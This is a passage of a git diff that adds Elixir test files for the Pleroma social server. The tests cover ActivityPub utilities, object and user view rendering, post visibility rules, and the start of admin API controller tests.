"https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + }, + %{ + "mediaType" => "video/mp4", + "type" => "Document", + "url" => [ + %{ + "href" => "https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + } + end + end + + describe "fix_emoji/1" do + test "returns not modified object when object not contains tags" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.fix_emoji(data) == data + end + + test "returns object with emoji when object contains list tags" do + assert Transmogrifier.fix_emoji(%{ + "tag" => [ + %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, + %{"type" => "Hashtag"} + ] + }) == %{ + "emoji" => %{"bib" => "/test"}, + "tag" => [ + %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, + %{"type" => "Hashtag"} + ] + } + end + + test "returns object with emoji when object contains map tag" do + assert Transmogrifier.fix_emoji(%{ + "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} + }) == %{ + "emoji" => %{"bib" => "/test"}, + "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} + } + end + end + + describe "set_replies/1" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 2) + + test "returns unmodified object if activity doesn't have self-replies" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.set_replies(data) == data + end + + test "sets `replies` collection with a limited number of self-replies" do + [user, another_user] = insert_list(2, :user) + + {:ok, %{id: id1} = activity} = CommonAPI.post(user, %{status: "1"}) + + {:ok, %{id: id2} = self_reply1} = + CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: id1}) + + {:ok, self_reply2} = + CommonAPI.post(user, %{status: "self-reply 2", in_reply_to_status_id: id1}) + + # Assuming to _not_ be present in `replies` due to :note_replies_output_limit is set to 2 + {:ok, _} = CommonAPI.post(user, %{status: "self-reply 3", in_reply_to_status_id: id1}) + + {:ok, _} = + CommonAPI.post(user, %{ + status: "self-reply to self-reply", + in_reply_to_status_id: id2 + }) + + {:ok, _} = + CommonAPI.post(another_user, %{ + status: "another user's reply", + in_reply_to_status_id: id1 + }) + + object = Object.normalize(activity) + replies_uris = Enum.map([self_reply1, self_reply2], fn a -> a.object.data["id"] end) + + assert %{"type" => "Collection", "items" => ^replies_uris} = + Transmogrifier.set_replies(object.data)["replies"] + end + end + + test "take_emoji_tags/1" do + user = insert(:user, %{emoji: %{"firefox" => "https://example.org/firefox.png"}}) + + assert Transmogrifier.take_emoji_tags(user) == [ + %{ + "icon" => %{"type" => "Image", "url" => "https://example.org/firefox.png"}, + "id" => "https://example.org/firefox.png", + "name" => ":firefox:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + end +end diff --git a/test/pleroma/web/activity_pub/utils_test.exs b/test/pleroma/web/activity_pub/utils_test.exs new file mode 100644 index 000000000..d50213545 --- /dev/null +++ b/test/pleroma/web/activity_pub/utils_test.exs @@ -0,0 +1,548 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.UtilsTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + require Pleroma.Constants + + describe "fetch the latest Follow" do + test "fetches the latest Follow activity" do + %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) + follower = User.get_cached_by_ap_id(activity.data["actor"]) + followed = User.get_cached_by_ap_id(activity.data["object"]) + + assert activity == Utils.fetch_latest_follow(follower, followed) + end + end + + describe "determine_explicit_mentions()" do + test "works with an object that has mentions" do + object = %{ + "tag" => [ + %{ + "type" => "Mention", + "href" => "https://example.com/~alyssa", + "name" => "Alyssa P. Hacker" + } + ] + } + + assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] + end + + test "works with an object that does not have mentions" do + object = %{ + "tag" => [ + %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} + ] + } + + assert Utils.determine_explicit_mentions(object) == [] + end + + test "works with an object that has mentions and other tags" do + object = %{ + "tag" => [ + %{ + "type" => "Mention", + "href" => "https://example.com/~alyssa", + "name" => "Alyssa P. Hacker" + }, + %{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"} + ] + } + + assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] + end + + test "works with an object that has no tags" do + object = %{} + + assert Utils.determine_explicit_mentions(object) == [] + end + + test "works with an object that has only IR tags" do + object = %{"tag" => ["2hu"]} + + assert Utils.determine_explicit_mentions(object) == [] + end + + test "works with an object has tags as map" do + object = %{ + "tag" => %{ + "type" => "Mention", + "href" => "https://example.com/~alyssa", + "name" => "Alyssa P. Hacker" + } + } + + assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] + end + end + + describe "make_like_data" do + setup do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + [user: user, other_user: other_user, third_user: third_user] + end + + test "addresses actor's follower address if the activity is public", %{ + user: user, + other_user: other_user, + third_user: third_user + } do + expected_to = Enum.sort([user.ap_id, other_user.follower_address]) + expected_cc = Enum.sort(["https://www.w3.org/ns/activitystreams#Public", third_user.ap_id]) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "hey @#{other_user.nickname}, @#{third_user.nickname} how about beering together this weekend?" + }) + + %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) + assert Enum.sort(to) == expected_to + assert Enum.sort(cc) == expected_cc + end + + test "does not adress actor's follower address if the activity is not public", %{ + user: user, + other_user: other_user, + third_user: third_user + } do + expected_to = Enum.sort([user.ap_id]) + expected_cc = [third_user.ap_id] + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} @#{third_user.nickname} bought a new swimsuit!", + visibility: "private" + }) + + %{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil) + assert Enum.sort(to) == expected_to + assert Enum.sort(cc) == expected_cc + end + end + + test "make_json_ld_header/0" do + assert Utils.make_json_ld_header() == %{ + "@context" => [ + "https://www.w3.org/ns/activitystreams", + "http://localhost:4001/schemas/litepub-0.1.jsonld", + %{ + "@language" => "und" + } + ] + } + end + + describe "get_existing_votes" do + test "fetches existing votes" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "How do I pronounce LaTeX?", + poll: %{ + options: ["laytekh", "lahtekh", "latex"], + expires_in: 20, + multiple: true + } + }) + + object = Object.normalize(activity) + {:ok, votes, object} = CommonAPI.vote(other_user, object, [0, 1]) + assert Enum.sort(Utils.get_existing_votes(other_user.ap_id, object)) == Enum.sort(votes) + end + + test "fetches only Create activities" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Are we living in a society?", + poll: %{ + options: ["yes", "no"], + expires_in: 20 + } + }) + + object = Object.normalize(activity) + {:ok, [vote], object} = CommonAPI.vote(other_user, object, [0]) + {:ok, _activity} = CommonAPI.favorite(user, activity.id) + [fetched_vote] = Utils.get_existing_votes(other_user.ap_id, object) + assert fetched_vote.id == vote.id + end + end + + describe "update_follow_state_for_all/2" do + test "updates the state of all Follow activities with the same actor and object" do + user = insert(:user, locked: true) + follower = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + + data = + follow_activity_two.data + |> Map.put("state", "accept") + + cng = Ecto.Changeset.change(follow_activity_two, data: data) + + {:ok, follow_activity_two} = Repo.update(cng) + + {:ok, follow_activity_two} = + Utils.update_follow_state_for_all(follow_activity_two, "accept") + + assert refresh_record(follow_activity).data["state"] == "accept" + assert refresh_record(follow_activity_two).data["state"] == "accept" + end + end + + describe "update_follow_state/2" do + test "updates the state of the given follow activity" do + user = insert(:user, locked: true) + follower = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + + data = + follow_activity_two.data + |> Map.put("state", "accept") + + cng = Ecto.Changeset.change(follow_activity_two, data: data) + + {:ok, follow_activity_two} = Repo.update(cng) + + {:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject") + + assert refresh_record(follow_activity).data["state"] == "pending" + assert refresh_record(follow_activity_two).data["state"] == "reject" + end + end + + describe "update_element_in_object/3" do + test "updates likes" do + user = insert(:user) + activity = insert(:note_activity) + object = Object.normalize(activity) + + assert {:ok, updated_object} = + Utils.update_element_in_object( + "like", + [user.ap_id], + object + ) + + assert updated_object.data["likes"] == [user.ap_id] + assert updated_object.data["like_count"] == 1 + end + end + + describe "add_like_to_object/2" do + test "add actor to likes" do + user = insert(:user) + user2 = insert(:user) + object = insert(:note) + + assert {:ok, updated_object} = + Utils.add_like_to_object( + %Activity{data: %{"actor" => user.ap_id}}, + object + ) + + assert updated_object.data["likes"] == [user.ap_id] + assert updated_object.data["like_count"] == 1 + + assert {:ok, updated_object2} = + Utils.add_like_to_object( + %Activity{data: %{"actor" => user2.ap_id}}, + updated_object + ) + + assert updated_object2.data["likes"] == [user2.ap_id, user.ap_id] + assert updated_object2.data["like_count"] == 2 + end + end + + describe "remove_like_from_object/2" do + test "removes ap_id from likes" do + user = insert(:user) + user2 = insert(:user) + object = insert(:note, data: %{"likes" => [user.ap_id, user2.ap_id], "like_count" => 2}) + + assert {:ok, updated_object} = + Utils.remove_like_from_object( + %Activity{data: %{"actor" => user.ap_id}}, + object + ) + + assert updated_object.data["likes"] == [user2.ap_id] + assert updated_object.data["like_count"] == 1 + end + end + + describe "get_existing_like/2" do + test "fetches existing like" do + note_activity = insert(:note_activity) + assert object = Object.normalize(note_activity) + + user = insert(:user) + refute Utils.get_existing_like(user.ap_id, object) + {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) + + assert ^like_activity = Utils.get_existing_like(user.ap_id, object) + end + end + + describe "get_get_existing_announce/2" do + test "returns nil if announce not found" do + actor = insert(:user) + refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}}) + end + + test "fetches existing announce" do + note_activity = insert(:note_activity) + assert object = Object.normalize(note_activity) + actor = insert(:user) + + {:ok, announce} = CommonAPI.repeat(note_activity.id, actor) + assert Utils.get_existing_announce(actor.ap_id, object) == announce + end + end + + describe "fetch_latest_block/2" do + test "fetches last block activities" do + user1 = insert(:user) + user2 = insert(:user) + + assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) + assert {:ok, %Activity{} = _} = CommonAPI.block(user1, user2) + assert {:ok, %Activity{} = activity} = CommonAPI.block(user1, user2) + + assert Utils.fetch_latest_block(user1, user2) == activity + end + end + + describe "recipient_in_message/3" do + test "returns true when recipient in `to`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"to" => [recipient.ap_id], "cc" => ""} + ) + end + + test "returns true when recipient in `cc`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"cc" => [recipient.ap_id], "to" => ""} + ) + end + + test "returns true when recipient in `bto`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"bcc" => "", "bto" => [recipient.ap_id]} + ) + end + + test "returns true when recipient in `bcc`" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"bto" => "", "bcc" => [recipient.ap_id]} + ) + end + + test "returns true when message without addresses fields" do + recipient = insert(:user) + actor = insert(:user) + assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id}) + + assert Utils.recipient_in_message( + recipient, + actor, + %{"btod" => "", "bccc" => [recipient.ap_id]} + ) + end + + test "returns false" do + recipient = insert(:user) + actor = insert(:user) + refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"}) + end + end + + describe "lazy_put_activity_defaults/2" do + test "returns map with id and published data" do + note_activity = insert(:note_activity) + object = Object.normalize(note_activity) + res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]}) + assert res["context"] == object.data["id"] + assert res["context_id"] == object.id + assert res["id"] + assert res["published"] + end + + test "returns map with fake id and published data" do + assert %{ + "context" => "pleroma:fakecontext", + "context_id" => -1, + "id" => "pleroma:fakeid", + "published" => _ + } = Utils.lazy_put_activity_defaults(%{}, true) + end + + test "returns activity data with object" do + note_activity = insert(:note_activity) + object = Object.normalize(note_activity) + + res = + Utils.lazy_put_activity_defaults(%{ + "context" => object.data["id"], + "object" => %{} + }) + + assert res["context"] == object.data["id"] + assert res["context_id"] == object.id + assert res["id"] + assert res["published"] + assert res["object"]["id"] + assert res["object"]["published"] + assert res["object"]["context"] == object.data["id"] + assert res["object"]["context_id"] == object.id + end + end + + describe "make_flag_data" do + test "returns empty map when params is invalid" do + assert Utils.make_flag_data(%{}, %{}) == %{} + end + + test "returns map with Flag object" do + reporter = insert(:user) + target_account = insert(:user) + {:ok, activity} = CommonAPI.post(target_account, %{status: "foobar"}) + context = Utils.generate_context_id() + content = "foobar" + + target_ap_id = target_account.ap_id + activity_ap_id = activity.data["id"] + + res = + Utils.make_flag_data( + %{ + actor: reporter, + context: context, + account: target_account, + statuses: [%{"id" => activity.data["id"]}], + content: content + }, + %{} + ) + + note_obj = %{ + "type" => "Note", + "id" => activity_ap_id, + "content" => content, + "published" => activity.object.data["published"], + "actor" => + AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) + } + + assert %{ + "type" => "Flag", + "content" => ^content, + "context" => ^context, + "object" => [^target_ap_id, ^note_obj], + "state" => "open" + } = res + end + end + + describe "add_announce_to_object/2" do + test "adds actor to announcement" do + user = insert(:user) + object = insert(:note) + + activity = + insert(:note_activity, + data: %{ + "actor" => user.ap_id, + "cc" => [Pleroma.Constants.as_public()] + } + ) + + assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object) + assert updated_object.data["announcements"] == [user.ap_id] + assert updated_object.data["announcement_count"] == 1 + end + end + + describe "remove_announce_from_object/2" do + test "removes actor from announcements" do + user = insert(:user) + user2 = insert(:user) + + object = + insert(:note, + data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2} + ) + + activity = insert(:note_activity, data: %{"actor" => user.ap_id}) + + assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object) + assert updated_object.data["announcements"] == [user2.ap_id] + assert updated_object.data["announcement_count"] == 1 + end + end + + describe "get_cached_emoji_reactions/1" do + test "returns the data or an emtpy list" do + object = insert(:note) + assert Utils.get_cached_emoji_reactions(object) == [] + + object = insert(:note, data: %{"reactions" => [["x", ["lain"]]]}) + assert Utils.get_cached_emoji_reactions(object) == [["x", ["lain"]]] + + object = insert(:note, data: %{"reactions" => %{}}) + assert Utils.get_cached_emoji_reactions(object) == [] + end + end +end diff --git a/test/pleroma/web/activity_pub/views/object_view_test.exs b/test/pleroma/web/activity_pub/views/object_view_test.exs new file mode 100644 index 000000000..f0389845d --- /dev/null +++ b/test/pleroma/web/activity_pub/views/object_view_test.exs @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectViewTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ObjectView + alias Pleroma.Web.CommonAPI + + test "renders a note object" do + note = insert(:note) + + result = ObjectView.render("object.json", %{object: note}) + + assert result["id"] == note.data["id"] + assert result["to"] == note.data["to"] + assert result["content"] == note.data["content"] + assert result["type"] == "Note" + assert result["@context"] + end + + test "renders a note activity" do + note = insert(:note_activity) + object = Object.normalize(note) + + result = ObjectView.render("object.json", %{object: note}) + + assert result["id"] == note.data["id"] + assert result["to"] == note.data["to"] + assert result["object"]["type"] == "Note" + assert result["object"]["content"] == object.data["content"] + assert result["type"] == "Create" + assert result["@context"] + end + + describe "note activity's `replies` collection rendering" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 5) + + test "renders `replies` collection for a note activity" do + user = insert(:user) + activity = insert(:note_activity, user: user) + + {:ok, self_reply1} = + CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: activity.id}) + + replies_uris = [self_reply1.object.data["id"]] + result = ObjectView.render("object.json", %{object: refresh_record(activity)}) + + assert %{"type" => "Collection", "items" => ^replies_uris} = + get_in(result, ["object", "replies"]) + end + end + + test "renders a like activity" do + note = insert(:note_activity) + object = Object.normalize(note) + user = insert(:user) + + {:ok, like_activity} = CommonAPI.favorite(user, note.id) + + result = ObjectView.render("object.json", %{object: like_activity}) + + assert result["id"] == like_activity.data["id"] + assert result["object"] == object.data["id"] + assert result["type"] == "Like" + end + + test "renders an announce activity" do + note = insert(:note_activity) + object = Object.normalize(note) + user = insert(:user) + + {:ok, announce_activity} = CommonAPI.repeat(note.id, user) + + result = ObjectView.render("object.json", %{object: announce_activity}) + + assert result["id"] == announce_activity.data["id"] + assert result["object"] == object.data["id"] + assert result["type"] == "Announce" + end +end diff --git a/test/pleroma/web/activity_pub/views/user_view_test.exs b/test/pleroma/web/activity_pub/views/user_view_test.exs new file mode 100644 index 000000000..98c7c9d09 --- /dev/null +++ b/test/pleroma/web/activity_pub/views/user_view_test.exs @@ -0,0 +1,180 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.UserViewTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.User + alias Pleroma.Web.ActivityPub.UserView + alias Pleroma.Web.CommonAPI + + test "Renders a user, including the public key" do + user = insert(:user) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + assert result["id"] == user.ap_id + assert result["preferredUsername"] == user.nickname + + assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY") + end + + test "Renders profile fields" do + fields = [ + %{"name" => "foo", "value" => "bar"} + ] + + {:ok, user} = + insert(:user) + |> User.update_changeset(%{fields: fields}) + |> User.update_and_set_cache() + + assert %{ + "attachment" => [%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}] + } = UserView.render("user.json", %{user: user}) + end + + test "Renders with emoji tags" do + user = insert(:user, emoji: %{"bib" => "/test"}) + + assert %{ + "tag" => [ + %{ + "icon" => %{"type" => "Image", "url" => "/test"}, + "id" => "/test", + "name" => ":bib:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + } = UserView.render("user.json", %{user: user}) + end + + test "Does not add an avatar image if the user hasn't set one" do + user = insert(:user) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + refute result["icon"] + refute result["image"] + + user = + insert(:user, + avatar: %{"url" => [%{"href" => "https://someurl"}]}, + banner: %{"url" => [%{"href" => "https://somebanner"}]} + ) + + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + assert result["icon"]["url"] == "https://someurl" + assert result["image"]["url"] == "https://somebanner" + end + + test "renders an invisible user with the invisible property set to true" do + user = insert(:user, invisible: true) + + assert %{"invisible" => true} = UserView.render("service.json", %{user: user}) + end + + describe "endpoints" do + test "local users have a usable endpoints structure" do + user = insert(:user) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + assert result["id"] == user.ap_id + + %{ + "sharedInbox" => _, + "oauthAuthorizationEndpoint" => _, + "oauthRegistrationEndpoint" => _, + "oauthTokenEndpoint" => _ + } = result["endpoints"] + end + + test "remote users have an empty endpoints structure" do + user = insert(:user, local: false) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + assert result["id"] == user.ap_id + assert result["endpoints"] == %{} + end + + test "instance users do not expose oAuth endpoints" do + user = insert(:user, nickname: nil, local: true) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + refute result["endpoints"]["oauthAuthorizationEndpoint"] + refute result["endpoints"]["oauthRegistrationEndpoint"] + refute result["endpoints"]["oauthTokenEndpoint"] + end + end + + describe "followers" do + test "sets totalItems to zero when followers are hidden" do + user = insert(:user) + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) + user = Map.merge(user, %{hide_followers_count: true, hide_followers: true}) + refute UserView.render("followers.json", %{user: user}) |> Map.has_key?("totalItems") + end + + test "sets correct totalItems when followers are hidden but the follower counter is not" do + user = insert(:user) + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) + user = Map.merge(user, %{hide_followers_count: false, hide_followers: true}) + assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) + end + end + + describe "following" do + test "sets totalItems to zero when follows are hidden" do + user = insert(:user) + other_user = insert(:user) + {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) + assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) + user = Map.merge(user, %{hide_follows_count: true, hide_follows: true}) + assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user}) + end + + test "sets correct totalItems when follows are hidden but the follow counter is not" do + user = insert(:user) + other_user = insert(:user) + {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) + assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) + user = Map.merge(user, %{hide_follows_count: false, hide_follows: true}) + assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) + end + end + + describe "acceptsChatMessages" do + test "it returns this value if it is set" do + true_user = insert(:user, accepts_chat_messages: true) + false_user = insert(:user, accepts_chat_messages: false) + nil_user = insert(:user, accepts_chat_messages: nil) + + assert %{"capabilities" => %{"acceptsChatMessages" => true}} = + UserView.render("user.json", user: true_user) + + assert %{"capabilities" => %{"acceptsChatMessages" => false}} = + UserView.render("user.json", user: false_user) + + refute Map.has_key?( + UserView.render("user.json", user: nil_user)["capabilities"], + "acceptsChatMessages" + ) + end + end +end diff --git a/test/pleroma/web/activity_pub/visibility_test.exs b/test/pleroma/web/activity_pub/visibility_test.exs new file mode 100644 index 000000000..8e9354c65 --- /dev/null +++ b/test/pleroma/web/activity_pub/visibility_test.exs @@ -0,0 +1,230 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.VisibilityTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.CommonAPI + import Pleroma.Factory + + setup do + user = insert(:user) + mentioned = insert(:user) + following = insert(:user) + unrelated = insert(:user) + {:ok, following} = Pleroma.User.follow(following, user) + {:ok, list} = Pleroma.List.create("foo", user) + + Pleroma.List.follow(list, unrelated) + + {:ok, public} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "public"}) + + {:ok, private} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "private"}) + + {:ok, direct} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "direct"}) + + {:ok, unlisted} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "unlisted"}) + + {:ok, list} = + CommonAPI.post(user, %{ + status: "@#{mentioned.nickname}", + visibility: "list:#{list.id}" + }) + + %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + user: user, + mentioned: mentioned, + following: following, + unrelated: unrelated, + list: list + } + end + + test "is_direct?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + assert Visibility.is_direct?(direct) + refute Visibility.is_direct?(public) + refute Visibility.is_direct?(private) + refute Visibility.is_direct?(unlisted) + assert Visibility.is_direct?(list) + end + + test "is_public?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + refute Visibility.is_public?(direct) + assert Visibility.is_public?(public) + refute Visibility.is_public?(private) + assert Visibility.is_public?(unlisted) + refute Visibility.is_public?(list) + end + + test "is_private?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + refute Visibility.is_private?(direct) + refute Visibility.is_private?(public) + assert Visibility.is_private?(private) + refute Visibility.is_private?(unlisted) + refute Visibility.is_private?(list) + end + + test "is_list?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + refute Visibility.is_list?(direct) + refute Visibility.is_list?(public) + refute Visibility.is_list?(private) + refute Visibility.is_list?(unlisted) + assert Visibility.is_list?(list) + end + + test "visible_for_user?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + user: user, + mentioned: mentioned, + following: following, + unrelated: unrelated, + list: list + } do + # All visible to author + + assert Visibility.visible_for_user?(public, user) + assert Visibility.visible_for_user?(private, user) + assert Visibility.visible_for_user?(unlisted, user) + assert Visibility.visible_for_user?(direct, user) + assert Visibility.visible_for_user?(list, user) + + # All visible to a mentioned user + + assert Visibility.visible_for_user?(public, mentioned) + assert Visibility.visible_for_user?(private, mentioned) + assert Visibility.visible_for_user?(unlisted, mentioned) + assert Visibility.visible_for_user?(direct, mentioned) + assert Visibility.visible_for_user?(list, mentioned) + + # DM not visible for just follower + + assert Visibility.visible_for_user?(public, following) + assert Visibility.visible_for_user?(private, following) + assert Visibility.visible_for_user?(unlisted, following) + refute Visibility.visible_for_user?(direct, following) + refute Visibility.visible_for_user?(list, following) + + # Public and unlisted visible for unrelated user + + assert Visibility.visible_for_user?(public, unrelated) + assert Visibility.visible_for_user?(unlisted, unrelated) + refute Visibility.visible_for_user?(private, unrelated) + refute Visibility.visible_for_user?(direct, unrelated) + + # Visible for a list member + assert Visibility.visible_for_user?(list, unrelated) + end + + test "doesn't die when the user doesn't exist", + %{ + direct: direct, + user: user + } do + Repo.delete(user) + Cachex.clear(:user_cache) + refute Visibility.is_private?(direct) + end + + test "get_visibility", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + assert Visibility.get_visibility(public) == "public" + assert Visibility.get_visibility(private) == "private" + assert Visibility.get_visibility(direct) == "direct" + assert Visibility.get_visibility(unlisted) == "unlisted" + assert Visibility.get_visibility(list) == "list" + end + + test "get_visibility with directMessage flag" do + assert Visibility.get_visibility(%{data: %{"directMessage" => true}}) == "direct" + end + + test "get_visibility with listMessage flag" do + assert Visibility.get_visibility(%{data: %{"listMessage" => ""}}) == "list" + end + + describe "entire_thread_visible_for_user?/2" do + test "returns false if not found activity", %{user: user} do + refute Visibility.entire_thread_visible_for_user?(%Activity{}, user) + end + + test "returns true if activity hasn't 'Create' type", %{user: user} do + activity = insert(:like_activity) + assert Visibility.entire_thread_visible_for_user?(activity, user) + end + + test "returns false when invalid recipients", %{user: user} do + author = insert(:user) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["test-user"]} + ) + ) + + refute Visibility.entire_thread_visible_for_user?(activity, user) + end + + test "returns true if user following to author" do + author = insert(:user) + user = insert(:user) + Pleroma.User.follow(user, author) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => [user.ap_id]} + ) + ) + + assert Visibility.entire_thread_visible_for_user?(activity, user) + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs b/test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs new file mode 100644 index 000000000..cba6b43d3 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs @@ -0,0 +1,2034 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + import ExUnit.CaptureLog + import Mock + import Pleroma.Factory + import Swoosh.TestAssertions + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.HTML + alias Pleroma.MFA + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MediaProxy + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + test "with valid `admin_token` query parameter, skips OAuth scopes check" do + clear_config([:admin_token], "password123") + + user = insert(:user) + + conn = get(build_conn(), "/api/pleroma/admin/users/#{user.nickname}?admin_token=password123") + + assert json_response(conn, 200) + end + + describe "with [:auth, :enforce_oauth_admin_scope_usage]," do + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], true) + + test "GET /api/pleroma/admin/users/:nickname requires admin:read:accounts or broader scope", + %{admin: admin} do + user = insert(:user) + url = 